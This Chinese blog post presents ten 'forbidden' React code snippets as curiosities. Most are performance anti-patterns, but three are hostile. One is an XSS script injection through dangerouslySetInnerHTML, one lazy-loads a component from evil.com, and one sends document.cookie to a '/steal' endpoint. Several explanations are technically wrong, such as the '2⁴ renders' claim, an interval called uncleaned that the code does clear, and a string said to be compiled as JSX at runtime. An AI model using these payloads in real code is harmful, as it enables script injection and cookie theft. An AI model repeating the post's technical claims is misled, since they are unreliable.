小狮博客邪修 React，10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇，切勿真用！
️ 每条都可能：死循环、内存泄漏、调试器崩溃、Fiber 打结、面试管鼓掌
面试炫技 OK，项目敢用就等死！
1️⃣ 单组件一行毁灭
export default () => <div dangerouslySetInnerHTML={{ __html: '<script>alert(1)</script>' }} />;
dangerouslySetInnerHTML直接塞脚本，XSS 一键触发。
2️⃣ 无限渲染黑洞
export default function App() {
const [n, setN] = React.useState(0);
React.useEffect(() => setN(n + 1), [n]); // 每渲染一次再渲染
return <h1>{n}</h1>;
}没有终止条件，Fiber 在 16 ms 内无限工作，浏览器秒卡死。
3️⃣ 全局 Context 污染
const EvilCtx = React.createContext();
export default function Root() {
return (
<EvilCtx.Provider value={window}>
<App />
</EvilCtx.Provider>
);
}把
window塞进 Context，任何地方都能直接操作 DOM，破坏单向数据流。
4️⃣ 动态远程组件木马
const RemoteComp = React.lazy(() => import('https://evil.com/comp.jsx'));
export default () => (
<Suspense fallback="loading...">
<RemoteComp />
</Suspense>
);运行时拉取远程组件，Webpack 拦不住，CSP 形同虚设。
5️⃣ key={Math.random()} 性能核弹
function List() {
return [1, 2, 3].map(i => <li key={Math.random()}>{i}</li>);
}每次渲染随机 key，DOM 全部重建，性能瞬间归零。
6️⃣ 深度嵌套 useState 黑洞
function useEvil(obj) {
const [state, setState] = React.useState(obj);
return [state, setState];
}
const [s] = useEvil({ a: { b: { c: { d: 1 } } } });四层嵌套对象，每次更新触发 2⁴ 次渲染。
7️⃣ 自定义 Hook 副作用地狱
function useEvil() {
React.useEffect(() => {
const id = setInterval(() => console.log(''), 1);
return () => clearInterval(id); // 忘记清理 → 内存泄漏
});
}1 ms 定时器永不清理，Node 直接 OOM。
8️⃣ 通配符路由炸弹
<Routes>
<Route path="*" element={<Lazy404 />} /> {/* 任意路径都加载 */}
</Routes>任何 404 都懒加载，首屏雪崩。
9️⃣ 高阶组件（HOC）套娃
const withLog = C => props => <C {...props} />;
const withEvil = C => withLog(withLog(withLog(C)));
export default withEvil(App);三层 HOC 套娃，
props链路 3 倍长，调试器原地爆炸。
运行时 JSX 编译木马
const evil = `
<div onClick={() => fetch('/steal?cookie=' + encodeURIComponent(document.cookie))}>
点我
</div>
`;
ReactDOM.render(
React.createElement('div', { dangerouslySetInnerHTML: { __html: evil } }),
document.getElementById('root')
);运行时把字符串当 JSX，绕过 ESLint 和静态扫描。
邪修口诀
“Fiber 当陀螺，Context 当黑洞；
Hooks 当迷宫，渲染当烟花。”
PS
想要正经的学习 React.JS ，从编程狮的《React 入门课程》开始！